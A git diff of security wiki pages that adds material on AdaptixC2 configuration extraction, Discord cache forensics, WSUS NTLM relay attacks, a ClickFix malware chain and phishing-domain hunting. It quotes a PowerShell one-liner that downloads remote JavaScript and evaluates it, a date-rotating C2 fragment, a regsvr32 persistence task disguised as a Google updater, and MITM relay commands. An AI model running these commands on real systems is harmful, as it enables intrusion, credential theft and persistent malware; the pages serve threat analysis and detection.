- Gatekeeping argument: the DLL exits unless a specific switch is passed via `/i:<arg>`, e.g. `/i:--type=renderer` to mimic Chromium renderer children. This reduces accidental execution and frustrates sandboxes.
- Persistence: schedule `regsvr32` to run the DLL with silent + high privileges and the required `/i` argument, masquerading as an updater task:
```powershell
Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest
```
See also: ClickFix clipboardtoPowerShell variant that stages a JS loader and later persists with `regsvr32`.
{{#ref}}
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
{{#endref}}
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
@ -555,6 +575,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,251 @@
# AdaptixC2 Configuration Extraction and TTPs
{{#include ../../banners/hacktricks-training.md}}
AdaptixC2 is a modular, opensource postexploitation/C2 framework with Windows x86/x64 beacons (EXE/DLL/service EXE/raw shellcode) and BOF support. This page documents:
- How its RC4packed configuration is embedded and how to extract it from beacons
- Network/profile indicators for HTTP/SMB/TCP listeners
- Common loader and persistence TTPs observed in the wild, with links to relevant Windows technique pages
## Beacon profiles and fields
AdaptixC2 supports three primary beacon types:
- BEACON_HTTP: web C2 with configurable servers/ports/SSL, method, URI, headers, useragent, and a custom parameter name
- BEACON_SMB: namedpipe peertopeer C2 (intranet)
- BEACON_TCP: direct sockets, optionally with a prepended marker to obfuscate protocol start
Typical profile fields observed in HTTP beacon configs (after decryption):
- agent_type (u32)
- use_ssl (bool)
- servers_count (u32), servers (array of strings), ports (array of u32)
- http_method, uri, parameter, user_agent, http_headers (lengthprefixed strings)
- ans_pre_size (u32), ans_size (u32) used to parse response sizes
- kill_date (u32), working_time (u32)
- sleep_delay (u32), jitter_delay (u32)
- listener_type (u32)
- download_chunk_size (u32)
Example default HTTP profile (from a beacon build):
```json
{
"agent_type": 3192652105,
"use_ssl": true,
"servers_count": 1,
"servers": ["172.16.196.1"],
"ports": [4443],
"http_method": "POST",
"uri": "/uri.php",
"parameter": "X-Beacon-Id",
"user_agent": "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0",
"http_headers": "\r\n",
"ans_pre_size": 26,
"ans_size": 47,
"kill_date": 0,
"working_time": 0,
"sleep_delay": 2,
"jitter_delay": 0,
"listener_type": 0,
"download_chunk_size": 102400
}
```
Observed malicious HTTP profile (real attack):
```json
{
"agent_type": 3192652105,
"use_ssl": true,
"servers_count": 1,
"servers": ["tech-system[.]online"],
"ports": [443],
"http_method": "POST",
"uri": "/endpoint/api",
"parameter": "X-App-Id",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"http_headers": "\r\n",
"ans_pre_size": 26,
"ans_size": 47,
"kill_date": 0,
"working_time": 0,
"sleep_delay": 4,
"jitter_delay": 0,
"listener_type": 0,
"download_chunk_size": 102400
}
```
## Encrypted configuration packing and load path
When the operator clicks Create in the builder, AdaptixC2 embeds the encrypted profile as a tail blob in the beacon. The format is:
- 4 bytes: configuration size (uint32, littleendian)
- N bytes: RC4encrypted configuration data
- 16 bytes: RC4 key
The beacon loader copies the 16byte key from the end and RC4decrypts the Nbyte block in place:
```c
ULONG profileSize = packer->Unpack32();
this->encrypt_key = (PBYTE) MemAllocLocal(16);
memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16);
DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16);
```
Practical implications:
- The entire structure often lives inside the PE .rdata section.
- Extraction is deterministic: read size, read ciphertext of that size, read the 16byte key placed immediately after, then RC4decrypt.
## Configuration extraction workflow (defenders)
Write an extractor that mimics the beacon logic:
1) Locate the blob inside the PE (commonly .rdata). A pragmatic approach is to scan .rdata for a plausible [size|ciphertext|16byte key] layout and attempt RC4.
2) Read first 4 bytes → size (uint32 LE).
3) Read next N=size bytes → ciphertext.
4) Read final 16 bytes → RC4 key.
5) RC4decrypt the ciphertext. Then parse the plain profile as:
- u32/boolean scalars as noted above
- lengthprefixed strings (u32 length followed by bytes; trailing NUL can be present)
- arrays: servers_count followed by that many [string, u32 port] pairs
Minimal Python proofofconcept (standalone, no external deps) that works with a preextracted blob:
```python
import struct
from typing import List, Tuple
def rc4(key: bytes, data: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(b ^ K)
return bytes(out)
class P:
def __init__(self, buf: bytes):
self.b = buf; self.o = 0
def u32(self) -> int:
v = struct.unpack_from('<I', self.b, self.o)[0]; self.o += 4; return v
def u8(self) -> int:
v = self.b[self.o]; self.o += 1; return v
def s(self) -> str:
L = self.u32(); s = self.b[self.o:self.o+L]; self.o += L
return s[:-1].decode('utf-8','replace') if L and s[-1] == 0 else s.decode('utf-8','replace')
def parse_http_cfg(plain: bytes) -> dict:
p = P(plain)
cfg = {}
cfg['agent_type'] = p.u32()
cfg['use_ssl'] = bool(p.u8())
n = p.u32()
cfg['servers'] = []
cfg['ports'] = []
for _ in range(n):
cfg['servers'].append(p.s())
cfg['ports'].append(p.u32())
cfg['http_method'] = p.s()
cfg['uri'] = p.s()
cfg['parameter'] = p.s()
cfg['user_agent'] = p.s()
cfg['http_headers'] = p.s()
cfg['ans_pre_size'] = p.u32()
cfg['ans_size'] = p.u32() + cfg['ans_pre_size']
cfg['kill_date'] = p.u32()
cfg['working_time'] = p.u32()
cfg['sleep_delay'] = p.u32()
cfg['jitter_delay'] = p.u32()
cfg['listener_type'] = 0
cfg['download_chunk_size'] = 0x19000
return cfg
# Usage (when you have [size|ciphertext|key] bytes):
# blob = open('blob.bin','rb').read()
# size = struct.unpack_from('<I', blob, 0)[0]
# ct = blob[4:4+size]
# key = blob[4+size:4+size+16]
# pt = rc4(key, ct)
# cfg = parse_http_cfg(pt)
```
Tips:
- When automating, use a PE parser to read .rdata then apply a sliding window: for each offset o, try size = u32(.rdata[o:o+4]), ct = .rdata[o+4:o+4+size], candidate key = next 16 bytes; RC4decrypt and check that string fields decode as UTF8 and lengths are sane.
- Parse SMB/TCP profiles by following the same lengthprefixed conventions.
## Network fingerprinting and hunting
HTTP
- Common: POST to operatorselected URIs (e.g., /uri.php, /endpoint/api)
- Custom header parameter used for beacon ID (e.g., XBeaconId, XAppId)
- Useragents mimicking Firefox 20 or contemporary Chrome builds
- Polling cadence visible via sleep_delay/jitter_delay
SMB/TCP
- SMB namedpipe listeners for intranet C2 where web egress is constrained
- TCP beacons may prepend a few bytes before traffic to obfuscate protocol start
## Loader and persistence TTPs seen in incidents
Inmemory PowerShell loaders
- Download Base64/XOR payloads (InvokeRestMethod / WebClient)
- Allocate unmanaged memory, copy shellcode, switch protection to 0x40 (PAGE_EXECUTE_READWRITE) via VirtualProtect
- Execute via .NET dynamic invocation: Marshal.GetDelegateForFunctionPointer + delegate.Invoke()
Check these pages for inmemory execution and AMSI/ETW considerations:
{{#ref}}
../../windows-hardening/av-bypass.md
{{#endref}}
Persistence mechanisms observed
- Startup folder shortcut (.lnk) to relaunch a loader at logon
- Registry Run keys (HKCU/HKLM ...\CurrentVersion\Run), often with benignsounding names like "Updater" to start loader.ps1
- DLL searchorder hijack by dropping msimg32.dll under %APPDATA%\Microsoft\Windows\Templates for susceptible processes
Technique deepdives and checks:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
{{#endref}}
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
{{#endref}}
Hunting ideas
- PowerShell spawning RW→RX transitions: VirtualProtect to PAGE_EXECUTE_READWRITE inside powershell.exe
- Dynamic invocation patterns (GetDelegateForFunctionPointer)
- Startup .lnk under user or common Startup folders
- Suspicious Run keys (e.g., "Updater"), and loader names like update.ps1/loader.ps1
- Userwritable DLL paths under %APPDATA%\Microsoft\Windows\Templates containing msimg32.dll
## Notes on OpSec fields
- KillDate: timestamp after which the agent selfexpires
- WorkingTime: hours when the agent should be active to blend with business activity
These fields can be used for clustering and to explain observed quiet periods.
## YARA and static leads
Unit 42 published basic YARA for beacons (C/C++ and Go) and loader APIhashing constants. Consider complementing with rules that look for the [size|ciphertext|16bytekey] layout near PE .rdata end and the default HTTP profile strings.
## References
- [AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks (Unit 42)](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
- [AdaptixC2 GitHub](https://github.com/Adaptix-Framework/AdaptixC2)
- [Adaptix Framework Docs](https://adaptix-framework.gitbook.io/adaptix-framework)
- [Marshal.GetDelegateForFunctionPointer Microsoft Docs](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer)
- [VirtualProtect Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)
- [Memory protection constants Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants)
- [Invoke-RestMethod PowerShell](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod)
- [MITRE ATT&CK T1547.001 Registry Run Keys/Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -410,6 +410,14 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
---
## AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
{{#ref}}
adaptixc2-config-extraction-and-ttps.md
{{#endref}}
## References
- [Unit42 Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
@ -421,5 +429,6 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
- RegisterNatives [docs.oracle.com](https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/functions.html#RegisterNatives)
- Tracing JNI Functions [valsamaras.medium.com](https://valsamaras.medium.com/tracing-jni-functions-75b04bee7c58)
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions [laripping.com](https://laripping.com/blog-posts/2021/12/20/nativeenrich.html)
- [Unit42 AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -80,6 +80,12 @@ Within these directories, most user data can be found in the **Default/** or **C
- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Electron-based desktop apps (e.g., Discord) also use Chromium Simple Cache and leave rich on-disk artifacts. See:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: User bookmarks.
- **Web Data**: Contains form history.
- **Favicons**: Stores website favicons.

View File

@ -0,0 +1,91 @@
# Discord Cache Forensics (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
This page summarizes how to triage Discord Desktop cache artifacts to recover exfiltrated files, webhook endpoints, and activity timelines. Discord Desktop is an Electron/Chromium app and uses Chromium Simple Cache on disk.
## Where to look (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Key ondisk structures inside Cache_Data:
- index: Simple Cache index database
- data_#: Binary cache block files that can contain multiple cached objects
- f_######: Individual cached entries stored as standalone files (often larger bodies)
Note: Deleting messages/channels/servers in Discord does not purge this local cache. Cached items often remain and their file timestamps align with user activity, enabling timeline reconstruction.
## What can be recovered
- Exfiltrated attachments and thumbnails fetched via cdn.discordapp.com/media.discordapp.net
- Images, GIFs, videos (e.g., .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API calls (https://discord.com/api/vX/…)
- Helpful for correlating beaconing/exfil activity and hashing media for intel matching
## Quick triage (manual)
- Grep cache for high-signal artifacts:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Sort cached entries by modified time to build a quick timeline (mtime reflects when the object hit cache):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (HTTP body + headers)
Files starting with f_ contain HTTP response headers followed by the body. The header block typically ends with \r\n\r\n. Useful response headers include:
- Content-Type: To infer media type
- Content-Location or X-Original-URL: Original remote URL for preview/correlation
- Content-Encoding: May be gzip/deflate/br (Brotli)
Media can be extracted by splitting headers from body and optionally decompressing based on Content-Encoding. Magic-byte sniffing is useful when Content-Type is absent.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Recursively scans Discords cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA256 hashes.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Key options:
- --cache: Path to Cache_Data
- --format html|csv|both
- --timeline: Emit ordered CSV timeline (by modified time)
- --extra: Also scan sibling Code Cache and GPUCache
- --carve: Carve media from raw bytes near regex hits (images/video)
- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
## Analyst tips
- Correlate the modified time (mtime) of f_* and data_* files with user/attacker activity windows to reconstruct a timeline.
- Hash recovered media (SHA-256) and compare against known-bad or exfil datasets.
- Extracted webhook URLs can be tested for liveness or rotated; consider adding them to blocklists and retro-hunting proxies.
- Cache persists after “wiping” on the server side. If acquisition is possible, collect the entire Cache directory and related sibling caches (Code Cache, GPUCache).
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -115,6 +115,67 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Redirect port 8530 to your relay listener (optional, convenient):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Trigger a client check-in or wait for schedule. From a client:
wuauclt.exe /detectnow
or use the Windows Update UI (Check for updates).
5) Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake cant be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
### Force NTLM Logins
In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how:
@ -243,6 +304,14 @@ You now own **NT AUTHORITY\SYSTEM**.
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -65,7 +65,45 @@ mshta https://iplogger.co/xxxx =+\\xxx
The **mshta** call launches a hidden PowerShell script that retrieves `PartyContinued.exe`, extracts `Boat.pst` (CAB), reconstructs `AutoIt3.exe` through `extrac32` & file concatenation and finally runs an `.a3x` script which exfiltrates browser credentials to `sumeriavgv.digital`.
## Detection & Hunting
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Some ClickFix campaigns skip file downloads entirely and instruct victims to paste a oneliner that fetches and executes JavaScript via WSH, persists it, and rotates C2 daily. Example observed chain:
```powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
```
Key traits
- Obfuscated URL reversed at runtime to defeat casual inspection.
- JavaScript persists itself via a Startup LNK (WScript/CScript), and selects the C2 by current day enabling rapid domain rotation.
Minimal JS fragment used to rotate C2s by date:
```js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
```
Next stage commonly deploys a loader that establishes persistence and pulls a RAT (e.g., PureHVNC), often pinning TLS to a hardcoded certificate and chunking traffic.
Detection ideas specific to this variant
- Process tree: `explorer.exe``powershell.exe -c``wscript.exe <temp>\a.js` (or `cscript.exe`).
- Startup artifacts: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` invoking WScript/CScript with a JS path under `%TEMP%`/`%APPDATA%`.
- Registry/RunMRU and commandline telemetry containing `.split('').reverse().join('')` or `eval(a.responseText)`.
- Repeated `powershell -NoProfile -NonInteractive -Command -` with large stdin payloads to feed long scripts without long command lines.
- Scheduled Tasks that subsequently execute LOLBins such as `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` under an updaterlooking task/path (e.g., `\GoogleSystem\GoogleUpdater`).
Threat hunting
- Dailyrotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
- Correlate clipboard write events followed by Win+R paste then immediate `powershell.exe` execution.
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
@ -93,5 +131,6 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC GitHub](https://github.com/dxa4481/Pastejacking)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,11 +15,13 @@ It's enough to **generate a list of the most probable phishing names** that an a
### Finding suspicious domains
For this purpose, you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
For this purpose, you can use any of the following tools. Note that these tools will also perform DNS requests automatically to check if the domain has any IP assigned to it:
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
Tip: If you generate a candidate list, also feed it into your DNS resolver logs to detect **NXDOMAIN lookups from inside your org** (users trying to reach a typo before the attacker actually registers it). Sinkhole or pre-block these domains if policy allows.
### Bitflipping
**You can find a short the explanation of this technique in the parent page. Or read the original research in** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
@ -29,6 +31,12 @@ For example, a 1 bit modification in the domain microsoft.com can transform it i
**All possible bit-flipping domain names should be also monitored.**
If you also need to consider homoglyph/IDN lookalikes (e.g., mixing Latin/Cyrillic characters), check:
{{#ref}}
homograph-attacks.md
{{#endref}}
### Basic checks
Once you have a list of potential suspicious domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\
@ -42,11 +50,78 @@ If you want to go one step further I would recommend you to **monitor those susp
In order to **automate this** I would recommend having a list of login forms of the victim's domains, spider the suspicious web pages and comparing each login form found inside the suspicious domains with each login form of the victim's domain using something like `ssdeep`.\
If you have located the login forms of the suspicious domains, you can try to **send junk credentials** and **check if it's redirecting you to the victim's domain**.
## Domain names using keywords
---
### Hunting by favicon and web fingerprints (Shodan/ZoomEye/Censys)
Many phishing kits reuse favicons from the brand they impersonate. Internet-wide scanners compute a MurmurHash3 of the base64-encoded favicon. You can generate the hash and pivot on it:
Python example (mmh3):
```python
import base64, requests, mmh3
url = "https://www.paypal.com/favicon.ico" # change to your brand icon
b64 = base64.encodebytes(requests.get(url, timeout=10).content)
print(mmh3.hash(b64)) # e.g., 309020573
```
- Query Shodan: `http.favicon.hash:309020573`
- With tooling: look at community tools like favfreak to generate hashes and dorks for Shodan/ZoomEye/Censys.
Notes
- Favicons are reused; treat matches as leads and validate content and certs before acting.
- Combine with domain-age and keyword heuristics for better precision.
### URL telemetry hunting (urlscan.io)
`urlscan.io` stores historical screenshots, DOM, requests and TLS metadata of submitted URLs. You can hunt for brand abuse and clones:
Example queries (UI or API):
- Find lookalikes excluding your legit domains: `page.domain:(/.*yourbrand.*/ AND NOT yourbrand.com AND NOT www.yourbrand.com)`
- Find sites hotlinking your assets: `domain:yourbrand.com AND NOT page.domain:yourbrand.com`
- Restrict to recent results: append `AND date:>now-7d`
API example:
```bash
# Search recent scans mentioning your brand
curl -s 'https://urlscan.io/api/v1/search/?q=page.domain:(/.*yourbrand.*/%20AND%20NOT%20yourbrand.com)%20AND%20date:>now-7d' \
-H 'API-Key: <YOUR_URLSCAN_KEY>' | jq '.results[].page.url'
```
From the JSON, pivot on:
- `page.tlsIssuer`, `page.tlsValidFrom`, `page.tlsAgeDays` to spot very new certs for lookalikes
- `task.source` values like `certstream-suspicious` to tie findings to CT monitoring
### Domain age via RDAP (scriptable)
RDAP returns machine-readable creation events. Useful to flag **newly registered domains (NRDs)**.
```bash
# .com/.net RDAP (Verisign)
curl -s https://rdap.verisign.com/com/v1/domain/suspicious-example.com | \
jq -r '.events[] | select(.eventAction=="registration") | .eventDate'
# Generic helper using rdap.net redirector
curl -s https://www.rdap.net/domain/suspicious-example.com | jq
```
Enrich your pipeline by tagging domains with registration age buckets (e.g., <7 days, <30 days) and prioritise triage accordingly.
### TLS/JAx fingerprints to spot AiTM infrastructure
Modern credential-phishing increasingly uses **Adversary-in-the-Middle (AiTM)** reverse proxies (e.g., Evilginx) to steal session tokens. You can add network-side detections:
- Log TLS/HTTP fingerprints (JA3/JA4/JA4S/JA4H) at egress. Some Evilginx builds have been observed with stable JA4 client/server values. Alert on known-bad fingerprints only as a weak signal and always confirm with content and domain intel.
- Proactively record TLS certificate metadata (issuer, SAN count, wildcard use, validity) for lookalike hosts discovered via CT or urlscan and correlate with DNS age and geolocation.
> Note: Treat fingerprints as enrichment, not as sole blockers; frameworks evolve and may randomise or obfuscate.
### Domain names using keywords
The parent page also mentions a domain name variation technique that consists of putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com).
### Certificate Transparency
#### Certificate Transparency
